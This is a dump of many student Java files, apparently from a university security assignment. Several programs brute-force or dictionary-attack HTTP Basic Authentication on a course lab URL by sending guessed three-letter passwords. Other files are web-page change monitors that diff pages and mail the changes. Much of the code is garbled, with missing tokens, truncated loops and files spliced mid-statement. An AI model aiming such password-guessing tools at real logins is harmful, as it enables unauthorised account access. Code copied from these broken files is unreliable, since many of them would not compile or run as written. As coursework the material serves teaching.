(intExceptionCount >= 0) { System.out.print(""These EXCEPTION passwords WERE ""); if (boolExceptionPasswordsTestedAgain) System.out.print(""tested again.""); else System.out.print(""NOT tested again.""); System.out.println(); } System.out.println(); if (boolPasswordFound) { System.out.println(""The correct password WAS found - this password is '"" + strLastPasswordTested + ""'.""); } else { System.out.println(""The correct password WAS NOT found.""); } System.out.println(); } static void populateArray() { strLetter = new String[52]; strLetter[0] = ""a""; strLetter[1] = ""b""; strLetter[2] = ""c""; strLetter[3] = ""d""; strLetter[4] = ""e""; strLetter[5] = ""f""; strLetter[6] = ""g""; strLetter[7] = ""h""; strLetter[8] = ""i""; strLetter[9] = ""j""; strLetter[10] = ""k""; strLetter[11] = ""l""; strLetter[12] = ""m""; strLetter[13] = ""n""; strLetter[14] = ""o""; strLetter[15] = ""p""; strLetter[16] = ""q""; strLetter[17] = ""r""; strLetter[18] = ""s""; strLetter[19] = ""t""; strLetter[20] = ""u""; strLetter[21] = ""v""; strLetter[22] = ""w""; strLetter[23] = ""x""; strLetter[24] = ""y""; strLetter[25] = ""z""; strLetter[26] = ""A""; strLetter[27] = ""B""; strLetter[28] = ""C""; strLetter[29] = ""D""; strLetter[30] = ""E""; strLetter[31] = ""F""; strLetter[32] = ""G""; strLetter[33] = ""H""; strLetter[34] = ""I""; strLetter[35] = ""J""; strLetter[36] = ""K""; strLetter[37] = ""L""; strLetter[38] = ""M""; strLetter[39] = ""N""; strLetter[40] = ""O""; strLetter[41] = ""P""; strLetter[42] = ""Q""; strLetter[43] = ""R""; strLetter[44] = ""S""; strLetter[45] = ""T""; strLetter[46] = ""U""; strLetter[47] = ""V""; strLetter[48] = ""W""; strLetter[49] = ""X""; strLetter[50] = ""Y""; strLetter[51] = ""Z""; } static boolean passwordWasFound(String urlString, String password, boolean retVal) { String strEncodeInput = username + "":"" + password; boolean returnValue = retVal; boolean boolExceptionThrown = false; try { strLastPasswordTested = password; intNumberOfConnectionAttempts++; url = new URL(urlString); String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes()); System.out.print(""username = "" + username + "" "" + ""password = "" + password); HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection(); urlConnection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println("" response = "" + urlConnection.getResponseCode()); if (urlConnection.getResponseCode() == 401) { returnValue = false; } } catch (MalformedURLException m) { boolExceptionThrown = true; returnValue = false; System.err.println(m); System.out.println(""Malformed URL Exception error""); } catch (IOException io) { boolExceptionThrown = true; returnValue = false; System.out.println(""IOException error""); System.err.println(io); } catch (Exception e) { boolExceptionThrown = true; returnValue = false; System.out.println(""General exception.....""); System.err.println(e); } finally { urlConnection = null; url = null; } if (boolExceptionThrown) { intExceptionCount++; strExceptionPassword[intExceptionCount] = password; } return returnValue; } }" 089.java,"import java.io.*; import java.net.*; import java.security.*; import java.math.*; import java.*; import java.util.*; public class BruteForce { public static void main (String args[]) throws Exception { String retVal = null, StatusCode = ""HTTP/1.1 200 OK""; int found = 0, count = 0, ctrl = 0, flag = 0; stime = System.currentTimeMillis(); char[] c = new char[3]; System.out.println(""Cracking password by Brute Force...""); for(int i=65; ((i<123) && (found == 0)); i++) { for(int j=65; ((j<123) && (found == 0)); j++) { for (int k=65; ((k<123) && (found == 0)); k++) { try { if (ctrl == 0) { c[0] = '\0'; c[1] = '\0'; } else if ((ctrl == 1) && (flag == 0)) { c[0] = '\0'; } c[2] = (char)(k); URL yahoo = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection yc = yahoo.openConnection(); String authString = "":"" + String.valueOf(); String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes()); yc.setRequestProperty(""Authorization"", "" "" + auth); count++; BufferedReader in = new BufferedReader( new InputStreamReader( yc.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null){ System.out.println(inputLine); etime = System.currentTimeMillis(); System.out.println(""Password found -- "" + String.valueOf()); System.out.println(""Time used = "" + ((etime - stime)/1000) + "" sec""); System.out.println(""# of attempt = "" + count); System.out.println(""End of cracking!""); found = 1; } in.print(); } catch (Exception ex) {} } ctrl = 1; c[1] = (char)(j); } ctrl = 2; flag = 1; c[0] = (char)(i); } if (found == 0){ System.out.println(""Sorry, password found.""); System.out.println(""# of attempt = "" + count); System.out.println(""End of cracking!""); } } }" 213.java,"import java.io.*; import java.util.*; public class getImage { private FileWriter fw; public getImage() {} public void translogFile(String[] result) { String fileName = ""ImageList.txt""; try{ fw=new FileWriter(fileName,false); for(int i=0;result[i]!=null;i++) { fw.write(result[i]); fw.write('\n'); } fw.close(); System.out.println(""Saved sucessfully""); }catch(IOException e){ System.out.println(""Error saving the file""); } } public void translogFile1(String[] result) { String fileName = ""JpgGifList.txt""; try{ fw=new FileWriter(fileName,false); for(int i=0;result[i]!=null;i++) { fw.write(result[i]); fw.write('\n'); } fw.close(); System.out.println(""Saved sucessfully""); }catch(IOException e){ System.out.println(""Error saving the file""); } } public void tokenFile(String fileName) { String tuteId=""""; String aWord=""""; String bWord=""""; String cWord=""""; String line=null; String[] myArray = new String[10]; String[] myArrayB = new String[10]; boolean studFlag=false; int j=0; int i=0; try { BufferedReader inputStream= new BufferedReader(new FileReader(fileName)); line=inputStream.readLine(); while (line!= null) { StringTokenizer word= new StringTokenizer(line,"" '\""' ""); while (word.hasMoreTokens()) { aWord=word.nextToken(); if(aWord.endsWith(""gif"") || aWord.endsWith(""jpg"")) { if(!aWord.startsWith(""http"")) { bWord = ""http://www.cs.rmit.edu.""+aWord; myArray[j++]=bWord; System.out.println(bWord); StringTokenizer word1= new StringTokenizer(aWord,""/""); while (word1.hasMoreTokens()) { cWord=word1.nextToken(); if(cWord.endsWith(""gif"") || cWord.endsWith(""jpg"")) { myArrayB[i++]=cWord; } } } else { myArray[j++]=aWord; System.out.println(aWord); StringTokenizer word1= new StringTokenizer(aWord,""/""); while (word1.hasMoreTokens()) { cWord=word1.nextToken(); if(cWord.endsWith(""gif"") || cWord.endsWith(""jpg"")) { myArrayB[i++]=cWord; } } } } } line=inputStream.readLine(); } translogFile(myArray); translogFile1(myArrayB); inputStream.close(); } catch(FileNotFoundException e) { System.err.println(""File ""+fileName+"" was not found""); } catch(IOException e) { System.err.println(""Error ""); } } }" 077.java," import java.io.*; import java.net.*; public class Dictionary { public static void main (String args[]) throws IOException, MalformedURLException { final String username = """"; final String fullurl = ""http://sec-crack.cs.rmit.edu./SEC/2/""; final String dictfile = ""/usr/share/lib/dict/words""; String temppass; String password = """"; URL url = new URL(fullurl); boolean cracked = false; startTime = System.currentTimeMillis(); BufferedReader r = new BufferedReader(new FileReader(dictfile)); while((temppass = r.readLine()) != null && !cracked) { if(temppass.length() <= 3) { if(isAlpha(temppass)) { Authenticator.setDefault(new MyAuthenticator(username,temppass)); try{ BufferedReader x = new BufferedReader(new InputStreamReader( url.openStream())); cracked = true; password = temppass; } catch(Exception e){} } } } stopTime = System.currentTimeMillis(); if(!cracked) System.out.println(""Sorry, couldnt find the password""); else System.out.println(""Password found: ""+password); System.out.println(""Time taken: ""+(stopTime-startTime)); } public static boolean isAlpha(String s) { boolean v = true; for(int i=0; i 0) { System.exit(0); } } for (int b = 0; b < 52; b++) { l1 = b; for (int c = 0; c < 52; c++) { l2 = c; pwd = val[l1]+ val[l2]; retval = 0; retval = s.runProcess(urlToSearch,pwd); if (retval > 0) { System.exit(0); } } } for (int d = 0; d < 52; d++) { l1 = d; for (int e = 0; e < 52; e++) { l2 = e; for (int f = 0; f < 52; f++) { l3 = f; pwd = val[l1]+ val[l2]+ val[l3]; retval = 0; retval = s.runProcess(urlToSearch,pwd); if (retval > 0) { System.exit(0); } } } } } } " 033.java," class WebPage { private boolean success = false; private String pageContents= """"; public WebPage() { } public void setSuccess (boolean inSuccess) { success = inSuccess; } public boolean getSuccess() { return success; } public void setPageContents (String inPage) { pageContents = inPage; } public String getPageContents() { return pageContents; } } " 199.java," import java.*; import java.io.*; import java.util.*; public class Dictionary { public String[] passwds; public int passwdNum; public static void main(String[] args) throws IOException { Dictionary dic=new Dictionary(); dic.doDictionary(); System.exit(1); } void doDictionary() throws IOException { Runtime rt=Runtime.getRuntime(); passwds=new String[32768]; passwdNum=0; time1=new Date().getTime(); try { File f = new File (""words""); FileReader fin = new FileReader (f); BufferedReader buf = new BufferedReader(fin); passwds[0]=""00""; System.out.println("" loading words....""); { passwds[passwdNum]=buf.readLine(); passwdNum++; }while(passwds[passwdNum-1]!=null); System.out.println(""Finish loading words.""); } catch (FileNotFoundException exc) { System.out.println (""File Not Found""); } catch (IOException exc) { System.out.println (""IOException 1""); } catch (NullPointerException exc) { System.out.println (""NullPointerException""); } System.out.println("" cracking....""); for(int i=0;i workload: "" + this.letters[getRangeStart()] + "" "" + this.letters[getRangeEnd() - 1]); setStart(new Timestamp(System.currentTimeMillis())); for (int i = getRangeStart(); i < getRangeEnd(); i++) { System.out.println(Thread.currentThread().getName() + ""-> Trying words beginning with: "" + letters[i]); for (int i2 = 0; i2 < letters.length; i2++) { for (int i3 = 0; i3 < letters.length; i3++) { if (isStop()) { return; } try { char [] arr = new char [] {letters[i], letters[i2], letters[i3]}; String pwd = new String(arr); if (Thread.currentThread().getName().equals(""Thread-1"") && pwd.equals(""bad"")) { System.out.println(Thread.currentThread().getName() + ""-> Trying password: "" + pwd); } attempts++; BasicAuthHttpRequest req = new BasicAuthHttpRequest( getURL(), getUserName(), pwd); System.out.println(""Got the password""); setPassword(pwd); setEnd(new Timestamp(System.currentTimeMillis())); setContent(req.getContent().toString()); this.setChanged(); this.notifyObservers(this.getContent()); return; } catch (MalformedURLException e) { e.printStackTrace(); return; } catch (IOException e) { } } } } setEnd(new Timestamp(System.currentTimeMillis())); } } " 232.java,"import java.util.*; import java.io.*; import java.*; public class WatchDog { public static void main (String [] args) throws Exception { executes(""rm index.*""); executes(""wget http://www.cs.rmit.edu./students""); while (true) { String addr= ""wget http://www.cs.rmit.edu./students""; executes(addr); String hash1 = md5sum(""index.html""); String hash2 = md5sum(""index.html.1""); System.out.println(hash1 +""|""+ hash2); if (hash1.equals(hash2)) { } else { executes("".~/Assign2/difference.sh""); executes("".~/Assign2/mail1.sh""); } executes(""rm index.html""); executes(""cp index.html.1 index.html""); executes(""rm index.html.1""); executes(""sleep 86400""); } } public static void executes(String comm) throws Exception { Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", comm }); BufferedReader = new BufferedReader(new InputStreamReader(p.getErrorStream())); String s; while(( s = bf.readLine()) != null) { System.out.println(); } p.waitFor(); } public static String md5sum(String file) throws Exception { String s; String hash= "" ""; Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"", ""-c"", ""md5sum ""+file }); BufferedReader b = new BufferedReader(new InputStreamReader(p.getInputStream())); while((b = bf.readLine()) != null) { StringTokenizer word=new StringTokenizer(); hash=word.nextToken(); System.out.println(hash); } return hash; } } " 008.java," import java.io.*; import java.*; public class BruteForce { public static void main(String args[]) { String s = null; String basic_url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; String alphabets = new String(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""); String password = null; int len = 0; int num_tries = 0; len = alphabets.length(); for (int i=0; i ""); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println(""password="" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } } " 084.java," import java.Thread; import java.io.*; import java.net.*; public class BruteForce extends Thread { final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'}; final static int SUCCESS=1, FAILED=0, UNKNOWN=-1; private static String host, path, user; private Socket target; private InputStream input; private OutputStream output; private byte[] data; private int threads, threadno, response; public static boolean solved = false; BruteForce parent; public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent) { super(); this.parent = parent; this.host = host; this.path = path; this.user = user; this.threads = threads; this.threadno = threadno; } public void run() { response = FAILED; int x = 0; starttime = System.currentTimeMillis(); for(int i=0; i ""); System.out.println("" arguments specified, using standard values.""); host = ""sec-crack.cs.rmit.edu.""; path = ""/SEC/2/index.php""; user = """"; } System.out.println(""Host: "" + host + ""\nPath: "" + path + ""\nUser: "" + user); System.out.println(""Using "" + attackslaves.length + "" happy threads...""); parent = new BruteForce(host, path, user, 0, 0, null); for(int i=0; i ""+line1; k++; isDiff=true; } line=buf.readLine(); line1=buf1.readLine(); lineNum++; diffNum=k; if(diffNum==2000) { System.out.println("" many differents store!""); System.exit(1); } }while(line!=null&&line1!=null); if(isDiff) { try { File diffFile=new File(""differents""+(char)((int)flags-2)+"".txt""); FileWriter fw = new FileWriter (diffFile); for(int j=0;j 0) || (str.indexOf(""jpg"") > 0)) imgVect.addElement(str); } } }catch (IOException ioe) { System.out.println(""IOException""); ioe.printStackTrace(); } catch (Exception e) { System.out.println(""Exception""); e.printStackTrace(); } mailwriter.println(""Creating file with md5sums of the webpage and images...""); md5Create(imgVect); } static void md5Create(Vector imgVect) { String tmpString = null; Vector imgNames = new Vector(); try { PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false))); p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+indexfile); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); pr.println(bf.readLine()); for(int i=0; i 0) || (str.indexOf(""jpg"") > 0)) prsName=str; } return (Object)prsName; } } " 075.java," import java.io.*; import java.net.*; public class WatchDog { public static void main(String args[]) throws InterruptedException, MalformedURLException, IOException { final String fullurl = ""http://www.cs.rmit.edu./students/""; final int waitperiod = 1000*60*60*24; final String email = ""@cs.rmit.edu.""; lastmodified = 0; lastmodifiedsave = 0; boolean first = true; URL url = new URL(fullurl); while(true) { URLConnection uc = url.openConnection(); lastmodified = uc.getLastModified(); if(first) { lastmodifiedsave = lastmodified; first = false; Execute ex1 = new Execute(""wget -q -nc -O ""+fullurl); } if(lastmodified != lastmodifiedsave) { lastmodifiedsave = lastmodified; Execute ex2 = new Execute(""mv .old""); Execute ex3 = new Execute(""wget -q -nc -O ""+fullurl); Execute ex4 = new Execute(""echo \""The ""+fullurl+"" was modified, here the modifications:\"" > pagediff""); Execute ex5 = new Execute(""diff .old >> pagediff""); Execute ex6 = new Execute(""mailx -s \"" modification\"" \""""+email+""\"" < pagediff""); System.out.println(""Modification notice! Check your mail.""); } Thread.sleep(waitperiod); } } } " 100.java," import java.net.*; import java.io.*; import java.Runtime; public class WatchDog{ public WatchDog(){} public void copyTo(){ } public static void main(String[] args) throws Exception { WatchDog wd= new WatchDog(); SendEMail t = new SendEMail(); PrintWriter pw=null; URL url = new URL(""http://www.cs.rmit.edu./students""); URLConnection yc = url.openConnection(); System.out.println(""Connection opened...""); BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream())); String inputLine; try{ pw=new PrintWriter(new FileOutputStream(""newHtml"")); while ((inputLine = in.readLine()) != null){ pw.println(inputLine); } pw.save(); }catch(IOException e){ System.out.println(""Error saving the file""); } Process p = Runtime.getRuntime().exec(""diff -b newHtml oldHtml""); InputStream write = p.getInputStream(); BufferedReader bf = new BufferedReader (new InputStreamReader(write)); String line = bf.readLine(); if (line != null){ pw=new PrintWriter(new FileOutputStream(""diff"")); try{ while (line != null){ pw.println(line); line = bf.readLine(); } pw.save(); }catch(IOException e){ System.out.println(""Error saving the file""); } t.sendMail(""@cs.rmit.edu."",""diff"", ""html content changed""); } else{ Runtime.getRuntime().exec(""./checkImage.sh""); try{ BufferedReader inputStream= new BufferedReader(new FileReader(""picDiff"")); line=inputStream.readLine(); if (line != null){ t.sendMail(""@cs.rmit.edu."",""picDiff"", ""picture has changed""); } inputStream.save(); }catch(IOException e){ System.out.println(""Error saving the file2""); } } in.close(); Runtime.getRuntime().exec(""cp newHtml oldHtml""); Runtime.getRuntime().exec(""rm picDiff""); System.out.println(""Connection closed...""); } }" 017.java," import javax.swing.*; public class Dictionary { public static void main( String args[] ) { PasswordCombination pwdCombination; pwdCombination = new PasswordCombination(); } } " 009.java," import java.util.*; import java.text.*; import java.io.*; import java.*; import java.net.*; public class WatchDog { public static void main(String args[]) { String s = null; String webpage = ""http://www.cs.rmit.edu./students/""; String file1 = ""file1""; String file2 = ""file2""; try { Process p = Runtime.getRuntime().exec(""wget -O "" + file1 + "" "" + webpage); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdInput.readLine()) != null) { System.out.println(s); } while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch (InterruptedException g) { } } catch (IOException e) { System.out.println(""exception happened - here's what I know: ""); e.printStackTrace(); System.exit(-1); } while (true) { try { Process p = Runtime.getRuntime().exec(""sleep 86400""); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdInput.readLine()) != null) { System.out.println(s); } while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch (InterruptedException g) { } } catch (IOException e) { System.out.println(""exception happened - here's what I know: ""); e.printStackTrace(); System.exit(-1); } try { Process p = Runtime.getRuntime().exec(""wget -O "" + file2 + "" "" + webpage); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdInput.readLine()) != null) { System.out.println(s); } while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch (InterruptedException g) { } } catch (IOException e) { System.out.println(""exception happened - here's what I know: ""); e.printStackTrace(); System.exit(-1); } try { Process p = Runtime.getRuntime().exec(""diff "" + file1 + "" "" + file2); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch (InterruptedException g) { } if ((p.exitValue()) == 1) { String mailServerURL = ""yallara.cs.rmit.edu.""; String host = ""yallara.cs.rmit.edu.""; String from = ""@yallara.cs.rmit.edu.""; String subject = ""Change Detected In WatchDog.java""; try { Socket csoc=new Socket(mailServerURL,25); BufferedReader in=new BufferedReader( new InputStreamReader(csoc.getInputStream())); PrintWriter out=new PrintWriter(csoc.getOutputStream(),true); System.out.println(""HELO ""+host); System.out.println(in.readLine()); out.println(""MAIL FROM:""+from); System.out.println(in.readLine()); System.out.println(in.readLine()); System.out.println(""DATA""); System.out.println(in.readLine()); System.out.println(""SUBJECT:""+subject); System.out.println(in.readLine()); while ((s = stdInput.readLine()) != null){ System.out.println(s); } out.println("".""); System.out.println(in.readLine()); System.out.println(""QUIT""); System.out.println(in.readLine()); } catch(Exception e) { e.printStackTrace(); System.out.println(""Some error occoured while communicating server""); } } } catch (IOException e) { System.out.println(""exception happened - here's what I know: ""); e.printStackTrace(); System.exit(-1); } } } }" 023.java," public class HoldSharedData { private int numOfConnections = 0; private int startTime; private int totalTime = 0; private String[] password; private int pwdCount; public HoldSharedData( int time, String[] pwd, int count ) { startTime = time; password = pwd; pwdCount = count; } public int getPwdCount() { return pwdCount; } public void setNumOfConnections( ) { numOfConnections ++; } public int getNumOfConnections() { return numOfConnections; } public int getStartTime() { return startTime; } public void setTotalTime( int newTotalTime ) { totalTime = newTotalTime; } public int getTotalTime() { return totalTime; } public String getPasswordAt( int index ) { return password[index]; } } " 037.java,"import java.io.*; import java.util.*; import java.text.*; import java.net.*; import java.security.*; public class WatchDog extends Thread { public static void main (String args[]) { WatchDog watcher = new WatchDog(); watcher.run(); } public void run() { DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL); twentyFourHours = 24 * 60 * 60 * 1000; writeProgramLog(""Program started at "" + longTimestamp.format(new Date())); while(true) { writeProgramLog(""Running run at "" + longTimestamp.format(new Date())); compare(); try { sleep(twentyFourHours); } catch(InterruptedException e) { writeProgramLog(""Program terminated at "" + longTimestamp.format(new Date())); System.exit(0); } } } private void compare() { String watchDogFile = ""watchDogHash_rcroft.""; String watchDogPageFile = ""watchDogPage_rcroft.html""; File watchDogLogFile = new File(watchDogFile); if(!watchDogLogFile.exists()) { WebPage targetPage = getPage(); if(targetPage.getSuccess()) { byte[] newHash = calcHash(targetPage.getPageContents()); writeHash(newHash, watchDogFile); writePage(targetPage.getPageContents(), watchDogPageFile); } } else { try { WebPage targetPage = getPage(); if(targetPage.getSuccess()) { byte[] oldHash = new byte[16]; byte[] newHash = calcHash(targetPage.getPageContents()); DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile)); inWatchDogFile.readFully(oldHash); inWatchDogFile.print(); if(!java.util.Arrays.equals(oldHash, newHash)) { String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents()); mail(differences); writeHash(newHash, watchDogFile); writePage(targetPage.getPageContents(), watchDogPageFile); } } } catch(IOException e) { writeProgramLog(""Exception: "" + e); } } } private String enumerateDifferences(String oldPageFileName, String newPageData) { String differences = """"; File newFile = null; try { newFile = File.createTempFile(""new"", ""tmp""); String tempFilePath = newFile.getAbsolutePath(); DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath)); outFile.writeBytes(newPageData); outFile.print(); String commandLine = ""diff "" + oldPageFileName + "" "" + tempFilePath; Process p = Runtime.getRuntime().exec(commandLine); BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while((line = diffs.readLine()) != null) differences += line + ""\n""; diffs.print(); newFile.delete(); } catch(IOException e) { writeProgramLog(""Exception: "" + e); } return differences; } private void mail(String mailMessage) { Vector emailAddresses = new Vector(); String watchDogEmailFile = ""watchDogEmail_rcroft.txt""; File emailFile = new File(watchDogEmailFile); if(emailFile.exists()) { try { BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile))); String line; while ((line = inWatchDogEmailFile.readLine()) != null) { line = line.trim(); if((line != """") && (line != ""\n"")) emailAddresses.add(line); } inWatchDogEmailFile.print(); } catch(FileNotFoundException e) { writeProgramLog(""Exception: "" + e); } catch(IOException e) { writeProgramLog(""Exception: "" + e); } } else { emailAddresses.add(""@yallara.cs.rmit.edu.""); emailAddresses.add(""rac@acslink.aone.net.""); } if(emailAddresses.size() > 0) { try { String fromAddress = ""From: "" + ""WatchDog Program ()"" + "" <"" + System.getProperty(""user.name"") + ""@"" + InetAddress.getLocalHost().getHostName() + "">""; DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL); String subject = ""Subject: [SEC project] Notification of target file changes ("" + longTimestamp.format(new Date()) +"")""; for(int i = 0; i < emailAddresses.size(); i++) { String toAddress = (String) emailAddresses.get(i); try { URL mailURL = new URL(""mailto: "" + toAddress); URLConnection mailConnection = mailURL.openConnection(); mailConnection.setDoInput(false); mailConnection.setDoOutput(true); mailConnection.connect(); PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream())); mailWriter.print("": "" + toAddress + ""\n""); mailWriter.print(fromAddress + ""\n""); mailWriter.print(subject + ""\n""); mailWriter.print(mailMessage); mailWriter.print(); writeProgramLog(""\tNotification mailed in this run.""); } catch(MalformedURLException e) { writeProgramLog(""Exception: "" + e); } catch(IOException e) { writeProgramLog(""Exception: "" + e); } } } catch(UnknownHostException e) { writeProgramLog(""Exception: "" + e); } } } private void writeHash(byte [] newHash, String fileName) { try { DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName)); outFile.write(newHash, 0, newHash.length); outFile.print(); } catch(IOException e) { writeProgramLog(""Exception: "" + e); } } private void writePage(String newPage, String fileName) { try { DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName)); outFile.writeBytes(newPage); outFile.print(); } catch(IOException e) { writeProgramLog(""Exception: "" + e); } } private void writeProgramLog(String comment) { String fileName = ""watchDogLog_rcroft.txt""; try { DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true)); outFile.writeBytes(comment + ""\n""); outFile.flush(); outFile.print(); } catch(IOException e) { System.out.println(""Exception: "" + e); } } private WebPage getPage() { WebPage tempWebPage = new WebPage(); try { String urlName = ""http://www.cs.rmit.edu./students/""; URL targetURL= new URL(urlName); HttpURLConnection connection = (HttpURLConnection) targetURL.openConnection(); connection.connect(); connection.getResponseCode(); if(connection.getResponseCode() == 200) { String fileContents = """"; BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream())); String line; while((line = in.readLine()) != null) fileContents = fileContents + line + ""\n""; in.print(); tempWebPage.setPageContents(fileContents); tempWebPage.setSuccess(true); connection.disconnect(); } else { writeProgramLog(""Failed connect "" + connection.getResponseCode()); } } catch(IOException e) { writeProgramLog(""Exception "" + e); } return tempWebPage; } private byte[] calcHash(String pageContents) { byte[] outHash = null; try { MessageDigest msg = MessageDigest.getInstance(""""); msg.reset(); msg.update(pageContents.getBytes()); outHash = msg.digest(); msg.reset(); } catch(NoSuchAlgorithmException e) { writeProgramLog(""Exception: "" + e); } return outHash; } } " 064.java," import java.util.*; import java.*; import java.awt.*; import java.net.*; import java.io.*; import java.text.*; public class Dictionary { public static String Base64Encode(String s) { byte[] bb = s.getBytes(); byte[] b = bb; char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', '0','1','2','3','4','5','6','7','8','9','+','/' }; if (bb.length % 3!=0) { int x1 = bb.length; b = new byte[(x1/3+1)*3]; int x2 = b.length; for(int i=0;i> 2)]; c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)]; c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)]; c[j+3] = table[(b[i+2] & 63)]; i+=3; j+=4; } j = c.length-1; while (c[j]=='A') { c[j]='='; j--; } return String.valueOf(c); } public synchronized void getAccumulatedLocalAttempt() { attempt = 0; for (int i=0;i=0); } public synchronized void waitUntilAllTerminated() { while (curconn>0) { try { wait(); } catch (InterruptedException e) {} } } public synchronized int waitUntilOK2Connect() { boolean interruptd= false; int idx = -1; while (curconn>=MAXCONN) { try { wait(); } catch (InterruptedException e) { interruptd = true; } } if (!interruptd) { curconn++; for (idx=0;idx=MINCHAR) && (s.length()<=MAXCHAR)) { w.println(s); ALLCOMBI++; } } b.print(); w.print(); } catch (FileNotFoundException e) { System.out.println(""Unable open the DICTIONARY file '""+DICTIONARY+""'""); System.exit(0); } catch (IOException e) { System.out.println(""Error in the DICTIONARY file '""+DICTIONARY+""'""); System.exit(0); } } public class ThCrack extends Thread { public ThCrack(int threadID, int startidx, int endidx) { super("" Thread #""+String.valueOf(threadID)+"": ""); this.ID = threadID; this.startidx = startidx; this.endidx = endidx; if (endidx>=startidx+MAXCACHE-1) { this.localDict = new String[MAXCACHE]; this.localDict = fetchWords(startidx,MAXCACHE); lastFetchIdx = startidx+MAXCACHE-1; } else { this.localDict = new String[(int)(endidx-startidx+1)]; this.localDict = fetchWords(startidx,(int)(endidx-startidx+1)); lastFetchIdx = endidx; } setDaemon(true); } public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException { int i; String msg; URL tryURL = new URL(THEURL); connections[connID]=(HttpURLConnection) tryURL.openConnection(); connections[connID].setRequestProperty(""Authorization"","" ""+Base64Encode(USERNAME+"":""+thePass)); i = connections[connID].getResponseCode(); msg = connections[connID].getResponseMessage(); connections[connID].disconnect(); if (i==HttpURLConnection.HTTP_OK) { System.out.println(ID+""Trying '""+thePass+""' GOTCHA !!! (= ""+String.valueOf()+""-""+msg+"").""); setSuccess(this.ID,thePass); return (true); } else { System.out.println(ID+""Trying '""+thePass+""' FAILED (= ""+String.valueOf()+""-""+msg+"").""); return (false); } } public void rest(int msec) { try { sleep(msec); } catch (InterruptedException e) {} } public String getCacheIdx(int idx) { if (idx<=lastFetchIdx) { return localDict[localDict.length-(int)(lastFetchIdx-idx)-1]; } else { if (lastFetchIdx+localDict.length-1>endidx) { this.localDict = fetchWords(lastFetchIdx+1,(int)(endidx-lastFetchIdx-1)); lastFetchIdx = endidx; } else { this.localDict = fetchWords(lastFetchIdx+1,localDict.length); lastFetchIdx = lastFetchIdx+localDict.length; } return localDict[localDict.length-(int)(lastFetchIdx-idx)-1]; } } public String constructPassword(int idx) { return getCacheIdx(idx); } public String 